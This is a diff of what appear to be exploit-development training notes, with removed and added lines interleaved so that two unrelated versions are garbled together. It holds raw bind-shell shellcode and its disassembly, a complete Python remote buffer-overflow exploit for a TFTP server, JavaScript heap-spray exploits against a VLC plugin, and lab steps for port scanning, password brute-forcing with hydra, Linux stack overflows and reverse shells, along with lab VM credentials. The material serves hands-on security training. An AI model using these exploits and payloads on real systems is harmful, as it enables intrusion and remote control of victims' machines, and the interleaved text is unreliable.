-shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
+Write an exploit for FreeFloat FTP - make sure that it is broken up into multiple scripts like the vulnserver exploit is.
-shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
+https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
-shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
+
-shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
+
 Reference scripts for FreeFloat FTP:
-sys.stdout.write(shellcode)
+https://www.exploit-db.com/exploits/40711/
----
+https://www.exploit-db.com/exploits/40681/
 https://www.exploit-db.com/exploits/40677/
 https://www.exploit-db.com/exploits/40674/
 https://www.exploit-db.com/exploits/40673/
-python dumpshell.py > bindshell.bin
+https://www.exploit-db.com/exploits/40672/
 https://www.exploit-db.com/exploits/24479/
-copy bindshellcode.bin into the "c:\Program Files\nasm" directory
+
 
 
 
-Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
+
-317 bindshell.bin
+
 
-C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
+
-00000000  FC                cld
+
-00000001  6AEB              push byte -0x15
+
-00000003  4D                dec ebp
+
-00000004  E8F9FFFFFF        call dword 0x2
+---------------------------------------------------------------------------------------------------------------------------------
-00000009  60                pushad
+Summary of what we've learned so far....
-0000000A  8B6C2424          mov ebp,[esp+0x24]
+
-0000000E  8B453C            mov eax,[ebp+0x3c]
+
-00000011  8B7C0578          mov edi,[ebp+eax+0x78]
+Skill Level 1: (Can identify vulnerable hosts - KNOWN VULNERABILITIES)
-00000015  01EF              add edi,ebp
+----------------------------------------------------------------------
-00000017  8B4F18            mov ecx,[edi+0x18]
+- Ping Sweep
-0000001A  8B5F20            mov ebx,[edi+0x20]
+- Port Scan
-0000001D  01EB              add ebx,ebp
+- Bannergrab
-0000001F  49                dec ecx
+- Vulnerability Research
-00000020  8B348B            mov esi,[ebx+ecx*4]
+
-00000023  01EE              add esi,ebp
+##############################
-00000025  31C0              xor eax,eax
+# Scanning Process to follow #
-00000027  99                cdq
+##############################
-00000028  AC                lodsb
+Step 1: Ping Sweep
-00000029  84C0              test al,al
+
-0000002B  7407              jz 0x34
+nmap -sP <IP-ADDRESS-RANGE>
-0000002D  C1CA0D            ror edx,0xd
+nmap -sL <IP-ADDRESS-RANGE>
-00000030  01C2              add edx,eax
+
-00000032  EBF4              jmp short 0x28
+
-00000034  3B542428          cmp edx,[esp+0x28]
+Step 2: Port Scan
-00000038  75E5              jnz 0x1f
+-----------------
-0000003A  8B5F24            mov ebx,[edi+0x24]
+nmap -sS <IP-ADDRESS>
-0000003D  01EB              add ebx,ebp
+
-0000003F  668B0C4B          mov cx,[ebx+ecx*2]
+
-00000043  8B5F1C            mov ebx,[edi+0x1c]
+Step 3: Bannergrab
-00000046  01EB              add ebx,ebp
+
-00000048  032C8B            add ebp,[ebx+ecx*4]
+nmap -sV <IP-ADDRESS>
-0000004B  896C241C          mov [esp+0x1c],ebp
+nmap -sV -p- <IP-ADDRESS>
-0000004F  61                popad
+	|
-00000050  C3                ret
+	----> Vulnerability Research
-00000051  31DB              xor ebx,ebx
+
-00000053  648B4330          mov eax,[fs:ebx+0x30]
+
-00000057  8B400C            mov eax,[eax+0xc]
+Step 4: Vulnerability Scan the webservers
-0000005A  8B701C            mov esi,[eax+0x1c]
+-----------------------------------------
-0000005D  AD                lodsd
+git clone https://github.com/sullo/nikto.git Nikto2
-0000005E  8B4008            mov eax,[eax+0x8]
+
-00000061  5E                pop esi
+cd Nikto2/program
-00000062  688E4E0EEC        push dword 0xec0e4e8e
+
-00000067  50                push eax
+perl nikto.pl -h <IP-ADDRESS>
-00000068  FFD6              call esi
+
-0000006A  6653              push bx
+
-0000006C  66683332          push word 0x3233
+
-00000070  687773325F        push dword 0x5f327377
+Step 5: Directory Bruteforce
-00000075  54                push esp
+--------------------
-00000076  FFD0              call eax
+sudo apt install -y libcurl4-openssl-dev
-00000078  68CBEDFC3B        push dword 0x3bfcedcb
+
-0000007D  50                push eax
+git clone https://github.com/v0re/dirb.git
-0000007E  FFD6              call esi                     PART 1
+
-00000080  5F                pop edi
+cd dirb/
-00000081  89E5              mov ebp,esp
+
-00000083  6681ED0802        sub bp,0x208
+./configure
-00000088  55                push ebp
+
-00000089  6A02              push byte +0x2
+make
-0000008B  FFD0              call eax
+
-0000008D  68D909F5AD        push dword 0xadf509d9
+./dirb
-00000092  57                push edi
+
-00000093  FFD6              call esi
+./dirb http://<IP-ADDRESS> wordlists/big.txt
-00000095  53                push ebx
+
-00000096  53                push ebx
+
---------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
+
-00000097  53                push ebx
+
-00000098  53                push ebx
+
-00000099  53                push ebx
+Step 6: Bruteforce any services you find
-0000009A  43                inc ebx
+----------------------------------------
-0000009B  53                push ebx
+ root@kali:~# hydra -L username.txt -P passlist.txt ftp://<IP-ADDRESS
-0000009C  43                inc ebx
+ root@kali:~# hydra -l user -P passlist.txt ftp://<IP-ADDRESS
-0000009D  53                push ebx                       PART 2
+
-0000009E  FFD0              call eax
+
-000000A0  6668115C          push word 0x5c11
+
-000000A4  6653              push bx
+Skill Level 2: Can identify UNKNOWN VULNERABILITIES)
-000000A6  89E1              mov ecx,esp
+----------------------------------------------------
-000000A8  95                xchg eax,ebp
+1. App Type
-000000A9  68A41A70C7        push dword 0xc7701aa4
+	- Stand Alone
-000000AE  57                push edi
+	- Client-Server									(app name: vulnserver.exe)
-000000AF  FFD6              call esi
+	- Web App
-000000B1  6A10              push byte +0x10
+
-000000B3  51                push ecx
+2. Data Input Type
-000000B4  55                push ebp
+	- File/Keyboard/Mouse (Stand Alone)
-000000B5  FFD0              call eax
+	- Logical Network Port (Client-Server)			(tcp port: 9999)
-000000B7  68A4AD2EE9        push dword 0xe92eada4
+	- Browser (Web App)
-000000BC  57                push edi
+
-000000BD  FFD6              call esi
+
-000000BF  53                push ebx
+3a. Map and fuzz all app entry points
-000000C0  55                push ebp
+	- Methods
-000000C1  FFD0              call eax
+	- Functions
-000000C3  68E5498649        push dword 0x498649e5
+	- Subroutines
-000000C8  57                push edi
+	- Controllers
-000000C9  FFD6              call esi
+	- Commands
-000000CB  50                push eax
+		HELP
-000000CC  54                push esp
+		STATS [stat_value]
-000000CD  54                push esp
+		RTIME [rtime_value]
-000000CE  55                push ebp
+		LTIME [ltime_value]
-000000CF  FFD0              call eax
+		SRUN [srun_value]
-000000D1  93                xchg eax,ebx
+		TRUN [trun_value]
-000000D2  68E779C679        push dword 0x79c679e7
+		GMON [gmon_value]
-000000D7  57                push edi
+		GDOG [gdog_value]
-000000D8  FFD6              call esi
+		KSTET [kstet_value]
-000000DA  55                push ebp
+		GTER [gter_value]
-000000DB  FFD0              call eax
+		HTER [hter_value]
-000000DD  666A64            push word 0x64
+		LTER [lter_value]
-000000E0  6668636D          push word 0x6d63
+		KSTAN [lstan_value]
-000000E4  89E5              mov ebp,esp
+		EXIT
-000000E6  6A50              push byte +0x50
+
-000000E8  59                pop ecx
+3b. Fuzz each app entry point
-000000E9  29CC              sub esp,ecx
+
-000000EB  89E7              mov edi,esp
+
-000000ED  6A44              push byte +0x44
+4. Isolate the crash
-000000EF  89E2              mov edx,esp
+	- TRUN 2100 is where the app crashes once placed in OllyDBG
-000000F1  31C0              xor eax,eax
+
-000000F3  F3AA              rep stosb
+
-000000F5  FE422D            inc byte [edx+0x2d]
+5. Calculate distance to EIP
-000000F8  FE422C            inc byte [edx+0x2c]
+	- Distance to EIP is 2006 bytes
-000000FB  93                xchg eax,ebx
+
-000000FC  8D7A38            lea edi,[edx+0x38]
+
-000000FF  AB                stosd
+6. Redirect program execution
-00000100  AB                stosd
+	- JMP REG 			(example: JMP ESP)
-00000101  AB                stosd
+	- PUSH REG; RET 	(PUSH EST; RET)
-00000102  6872FEB316        push dword 0x16b3fe72
+	- CALL REG; 		(CALL ESP)
-00000107  FF7544            push dword [ebp+0x44]
+    ----------------------------------------------------------------
-0000010A  FFD6              call esi
+    625011AF   FFE4             JMP ESP
-0000010C  5B                pop ebx
+    Remember that you need to write 625011AF backwards and in hex
-0000010D  57                push edi
+    jmpesp='\xaf\x11\x50\x62'
-0000010E  52                push edx
+
-0000010F  51                push ecx
+	Or you can use struct.pack to write it as little endian
-00000110  51                push ecx
+	import struct
-00000111  51                push ecx
+	struct.pack("<L", 0x625011AF)
-00000112  6A01              push byte +0x1
+	----------------------------------------------------------------
-00000114  51                push ecx
+	- Land in dummy shellcode
-00000115  51                push ecx
+
-00000116  55                push ebp
+
-00000117  51                push ecx
+7. Replace dummy shellcode with real shellcode
-00000118  FFD0              call eax
+	- Bad characters
-0000011A  68ADD905CE        push dword 0xce05d9ad
+		Reference link: http://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/
-0000011F  53                push ebx
+		"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
-00000120  FFD6              call esi
+		"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
-00000122  6AFF              push byte -0x1
+		"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
-00000124  FF37              push dword [edi]
+		"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
-00000126  FFD0              call eax
+		"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
-00000128  8B57FC            mov edx,[edi-0x4]
+		"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
-0000012B  83C464            add esp,byte +0x64
+		"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
-0000012E  FFD6              call esi
+		"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
-00000130  52                push edx
+	- Not enough space
-00000131  FFD0              call eax
+		subtract the bottom of ESP from the top of ESP to figure out how much space you have for the payload
-00000133  68F08A045F        push dword 0x5f048af0
+
-00000138  53                push ebx
+
-00000139  FFD6              call esi
+##################
-0000013B  FFD0              call eax
+# Linux Exploits #
 ##################
 
 The target virtual machine for these labs can be downloaded from here:
 https://s3.amazonaws.com/infosecaddictsvirtualmachines/asterisk.zip
-part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
+root: exploitlab
-part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
+user: exploitlab
-part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
+pass: exploitlab
-part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
+
-part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
+
-part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
+
-part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
+The attack scripts can be downloaded from here:
-part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
+https://s3.amazonaws.com/secureninja/files/peercast_skel.zip
-part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
+https://s3.amazonaws.com/secureninja/files/dproxy.zip
-part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
+https://s3.amazonaws.com/secureninja/files/asterisk.zip
 
 
-part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
+######################################
-part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
+# Lab 1: Simple Linux Stack Overflow #
-part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
+######################################
-part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
+Login to the asterisk VM with the username/password of (exploitlab/exploitlab)
-part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
+
-part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
+---------------------------Type This-----------------------------------
-part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
+
-part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
+cat victim1.c
-part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
+gcc victim1.c -o victim1
-part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
+./victim AAAAAAAAAAAAAAAAAAA
-part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
+./victim AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
 
-STACK SHIFTER:
+
-prepend = "\x81\xC4\xFF\xEF\xFF\xFF"  # add esp, -1001h
+gdb -core core.xxxx
-prepend += "\x44"                     # inc esp
+info registers
 x/64x $esp
 quit
 
 
 /usr/local/sbin/peercast
 
     -open peercast1.py on the XP attack-
 python peercast1.py | nc asterisk-vm-ip 7144
 
 gdb -core core.xxxx
 info registers
 x/64x $esp
 quit
 
----- final script ----
+
 
-#!/usr/bin/python2
+/usr/local/sbin/peercast
-#TFTP Server remote Buffer Overflow
+
     -open peercast2.py-
-import sys
+python peercast2.py | nc asterisk-vm-ip 7144
-import socket
+
-import struct
+gdb -core core.xxxx
 info registers
-if len(sys.argv) < 2:
+x/64x $esp
-	sys.stderr.write("Usage: tftpd.py <host>\n")
+quit
-	sys.exit(1)
+
 
-target = sys.argv[1]
+
-port = 69
+
 
-eip = 0x7e429353         # jmp esp in USER32.DLL
+    - SSH into the Ubuntu Host (strategicsec:strategicsec) -
 cd /home/strategicsec/toolz/metasploit/tools/exploit
-part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
+
-part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
+    Now we will run the pattern offset with ruby:
-part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
+
-part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
+ruby pattern_offset.rb 42306142
-part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
+
-part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
+    and
-part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
+
-part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
+ruby pattern_offset.rb 61423161
-part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
+-----------------------------------------------------------------------
-part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
+
     Distance to EIP is 780
-part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
+    Relative position of ESP 784
-part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
+
-part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
+Now to find a good JMP ESP address with msfelfscan
-part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
+
-part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
+---------------------------Type This-----------------------------------
-part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
+
-part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
+
-part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
+./msfelfscan -j ESP binaries/peercast_binary
-part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
+-----------------------------------------------------------------------
-part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
+
-part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
+    0x0808fb57   jmp esp <----- we will use this one!
     0x0808fcc7   jmp esp
-prepend = "\x81\xC4\xFF\xEF\xFF\xFF"  			# add esp, -1001h
+    0x0808ffff   jmp esp
-prepend += "\x44"                     			# inc esp
+    0x08090057   jmp esp <----- we can't use this one.
     0x080901df   jmp esp
-buf = "\x00\x01"         				# receive command
+
 
-buf += "\x90" * (256 - len(part2))    			# NOPs
+Now open and edit peercast3.py in notepad++ on our XP Host machine.
-buf += part2                               		# shellcode part 2
+    pad_lenth = the distance to EIP
-buf += struct.pack('<I', eip)                       	# EIP (JMP ESP)
+    ret_address =  the jmp esp we are using
-buf += prepend                              		# stack shifter
+
-buf += part1                                		# shellcode part 1
+---------------------------Type This-----------------------------------
-buf += "\xE9" + struct.pack('<i', -380)       		# JMP -380
+
-buf += "\x00"                                		# END
+python peercast3.py | nc asterisk-vm-ip 7144
 
-# print buf
+gdb -core core.xxxx
 info registers
-# buf = "\x00\x01"         				# receive command
+x/64x $eip
 x/10i $eip
-# buf += "A" * 300 + "\x00"
+quit
 -----------------------------------------------------------------------
-sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+
 Open peercast4.py in Notepad++ and replace the \xCC with our msf shellcode
-try:
+
-	sock.connect((target, port))
+    Linux IA32 Reverse Shell
-	sock.sendall(buf)
+    LHOST (Listening Host) – the IP of your XP host machine ipconfig /all
-except Exception as e:
+    LPORT (Listening Port) – chose a port to run your listener on
-	sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
+    Encoder: Alpha2
-finally:
+
-	sock.close()
+---------------------------Type This-----------------------------------
-	sys.stderr.write("Sent.\n")
+
 nc -l -p 4321
 python peercast4.py | nc asterisk-vm-ip 7144
 -----------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------
+
 
                             ###########################
 ----------- ############### # Day 3: Attack Lab Hosts # ############### -----------
                             ###########################
-How does all of this actually work
+
 
 
 #########################
 # Class Virtual Machine #
-Total shellcode length: 	315
+#########################
 
-				Part1:	150
+
-				Part2:	165
+Here is the VMWare virtual machine for the class or you can use Kali Linux as well if you like:
 
 https://s3.amazonaws.com/infosecaddictsvirtualmachines/Ubuntu-17-10-InfoSecAddictsVM.zip
-NOPS * (256 - 165)
+user:      infosecaddicts
 pass:      infosecaddicts
-91 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
+
-			|			|					|
+
-			256			260					150 (410)		|
+Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
-  |<------------------------------------------------------------------------------------------------------------|
+
- Jump to the
+
- 30 byte mark
+To connect to the VPN open a web browser on your host machine (not your virtual machine) and go to the following URL:
 https://54.245.178.32/?src=connect
 
 
 Accept the security exception and enter one of the following user names:
-# Lab 3: Browsers Exploits #
+
 username: labuser001
 username: labuser002
-cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton
+username: labuser003
-Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
+username: labuser004
-rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000
+username: labuser005
 username: labuser006
-<object id=quicktime clsid="999-999999-99-99999">
+username: labuser007
-  <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
+username: labuser008
-</object>
+username: labuser009
 username: labuser010
-var buf = "";
+username: labuser011
-for(i = 0; i < 50000; i++)
+username: labuser012
-   buf += "A";
+username: labuser013
-var myobject = document.getElementById("quicktime");
+username: labuser014
-myobject.url = buf;
+username: labuser015
 username: labuser016
-YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!
+username: labuser017
 username: labuser018
-- Browsers (Flash)
+username: labuser019
-- PDF
+username: labuser020
-- MS Office / OOo
+
 ----------------------------------------------------------------------------------------------------------------------------------------
-VLC smb:// exploit
+
 Mr. McCray will provide you with the password for the usernames above once the training session starts.
 
-EXPLOIT VECTOR
+
 
-smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
+
 The target network range is:
-Exploit Scripts
+172.31.2.0/24
-- ffvlc
+
 
-ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
+You can do any attack EXCEPT man-in-the-middle attacks, and please DO NOT attack any other IP ranges.
 
-perl daemon.pl vlc0.html
+
 
-ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX
+
-Browse to http://your_host_ip_address:8080/
+
 
-vlc0.html
+
----------
+
 
-   var buf = "";
+
-   for(i = 0; i < 1250; i++)
+----------------------------------------------------------------------------------------------------------------------------------------
-      buf += unescape("%41%41%41%41");
+Some tools to install:
-   var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
+---------------------------Type This-----------------------------------
-   document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
+wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
 gcc propecia.c -o propecia
 sudo cp propecia /bin
-vlc1.html
+-----------------------------------------------------------------------
----------
+
 
 
-   // shellcode created in heap memory
+
-   var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
+
 Step 1: Portscan the server
-   // 800K block of NOPS
+---------------------------Type This-----------------------------------
-   var nop = unescape("%u9090%u09090");   // 4 NOPS
+sudo nmap -sS 172.31.2.139
-   while(nop.length < 0xc0000) {
+-----------------------------------------------------------------------
-      nop += nop;
+
 Step 2: Version scan the server
 ---------------------------Type This-----------------------------------
-   // spray the heap with NOP+shellcode
+sudo nmap -sV -p22,80 172.31.2.139
-   var memory = new Array();
+-----------------------------------------------------------------------
-   for(i = 0; i < 50; i++) {
+
-      memory[i] = nop + shellcode;
+
 
 Step 3: Vulnerability scan the webserver
-   // build the exploit payload
+---------------------------Type This-----------------------------------
-   var buf = "";
+cd ~/toolz/
-   for(i = 0; i < 1250; i++)
+
-      buf += unescape("%41%41%41%41");
+rm -rf nikto*
-   var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
+
 git clone https://github.com/sullo/nikto.git Nikto2
-   // trigger the exploit
+
-   document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
+cd Nikto2/program
 
 perl nikto.pl -h 172.31.2.139
-perl daemon.pl vlc1.html
+-----------------------------------------------------------------------
 
-Search for where our NOPS+shellcode lies in the heap
+
 
-s 0 l fffffff 90 90 90 90 cc cc cc cc
+
 Step 4: Directory brute-force the webserver
-0:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
+---------------------------Type This-----------------------------------
-03dffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+cd ~/toolz
-040ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+
-043ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+sudo apt install -y libcurl4-openssl-dev
-046ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+
-049ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+git clone https://github.com/v0re/dirb.git
-04cffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+
-04fffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+cd dirb/
-052ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+
-055ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+./configure
-058ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+
-05bffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+make
-05effffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+
-061ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+dirb
-064ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+
-067ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+./dirb http://172.31.2.139 wordlists/big.txt
-06affffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
+-----------------------------------------------------------------------
 
-Edit vlc2.html
+
-replace %41%41%41%41 with %07%07%07%07
+
 
-(928.fd0): Break instruction exception - code 80000003 (first chance)
+
-eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
+
-eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0         nv up ei pl nz ac pe nc
+
-cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
+
-07100000 cc              int     3
+
-0:019> u
+
-07100000 cc              int     3
+
-07100001 cc              int     3
+
-07100002 cc              int     3
+
-07100003 cc              int     3
+----------------------------------------------------------------------------------------------------------------------------------------------
-07100004 cc              int     3
+
-07100005 cc              int     3
+
-07100006 cc              int     3
+
-07100007 cc              int     3
+
 
-Create vlc3.html (Copy vlc2.html to vlc3.html)
+
 Attack steps:
-Win32 Reverse Shell
+-------------
-- no restricted characters
+
-- Encoder NONE
+
-- use the Javascript encoded payload generated by msfweb
+Step 1: Ping sweep the target network
 -------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 nmap -sP 172.31.2.0/24
-# Lab 4: PDF EXPLOITS #
+-----------------------------------------------------------------------
 
 Found 4 hosts:
 172.31.2.47
-cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab4\adobe_mnp_skeleton
+172.31.2.47
-Acrobat Media newPlayer exploit
+172.31.2.157
 172.31.2.217
 
-Use-after-free bug
+
 Step 2: Port scan target system
-Exploit scripts are online at 172.16.0.100
+
-- adobe_mnp
+
